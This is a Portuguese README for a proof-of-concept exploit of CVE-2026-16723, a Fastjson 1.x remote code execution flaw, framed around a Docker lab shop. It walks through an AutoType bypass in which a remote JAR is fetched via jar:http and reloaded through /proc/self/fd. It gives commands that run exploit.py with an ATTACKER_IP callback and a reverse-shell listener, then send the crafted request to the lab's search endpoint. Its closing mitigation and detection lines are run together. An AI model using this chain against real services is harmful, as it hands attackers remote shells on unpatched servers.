
Proof-of-concept de exploit para CVE-2026-16723, uma falha de execução remota de código no Fastjson 1.x @JSONType, com um construtor de JAR de payload e um listener de reverse shell.
★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★
CVE-2026-16723 é uma vulnerabilidade de Execução Remota de Código (RCE) no Fastjson 1.x (1.2.68 – 1.2.83). Quando o Fastjson analisa um JSON controlado pelo atacante, um valor
@typecriado especificamente é transformado em uma consulta de recurso de classe dentro decheckAutoType. Em um fat-JAR executável do Spring Boot, o class loader resolve esse nome como uma URLjar:http://e busca um JAR remoto (SSRF), depois carrega uma classe que carrega a anotação@JSONType, mesmo com o AutoType desabilitado. Como um JDK / Tomcat moderno rejeita o nome bináriojar:http://, a variante confiável insere o JAR no cache da JVM e o relê através dejar:file:/proc/self/fd/N, de modo que a classe é definida e seu inicializador estático é executado, permitindo a execução de código. O AutoType permanece desabilitado e nenhum gadget do classpath é necessário.
| Categoria | Versão |
|---|---|
| Vulnerável | Fastjson 1.2.68 ≤ versão ≤ 1.2.83 |
| Corrigida | Migrar para Fastjson 2.x (não há versão 1.x corrigida) |
O alvo do laboratório é uma loja pública (Northwind Store) cuja API de busca vincula
o corpo da requisição com o Fastjson. Tudo está na configuração padrão do Fastjson:
SafeMode desligado, AutoType desligado, empacotado como um fat-JAR do Spring Boot.
docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
| Pré-condição | Estado neste laboratório |
|---|---|
| Fastjson 1.2.68 – 1.2.83 | 1.2.83 |
| Fat-JAR executável do Spring Boot | sim |
| Caminho de análise de JSON não autenticado | POST /api/products/search |
| SafeMode / AutoType | padrão (ambos desligados) |
O atacante e o alvo executam na mesma rede bridge do Docker, então o alvo alcança o atacante como uma conexão de saída (nenhuma porta extra é publicada).
curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'
exploit.py constrói o JAR do payload, o serve, inicia um listener e imprime
o corpo da requisição. Apenas o endereço de callback é necessário.
python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444
Cole o corpo impresso no endpoint de busca (Burp Repeater ou curl) e
envie-o. A requisição de busca é uma funcionalidade normal; apenas seu corpo JSON é criado especificamente.
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' --data-binary @body.json
O código é executado com a conta de serviço. Recupere a flag através do shell obtido:
whoami
com.alibaba:fastjson:1.2.83_noneautotype-Dfastjson.parser.safeMode=true@type em JSON contendo padrões jar:http ou jar:file / /proc/self/fd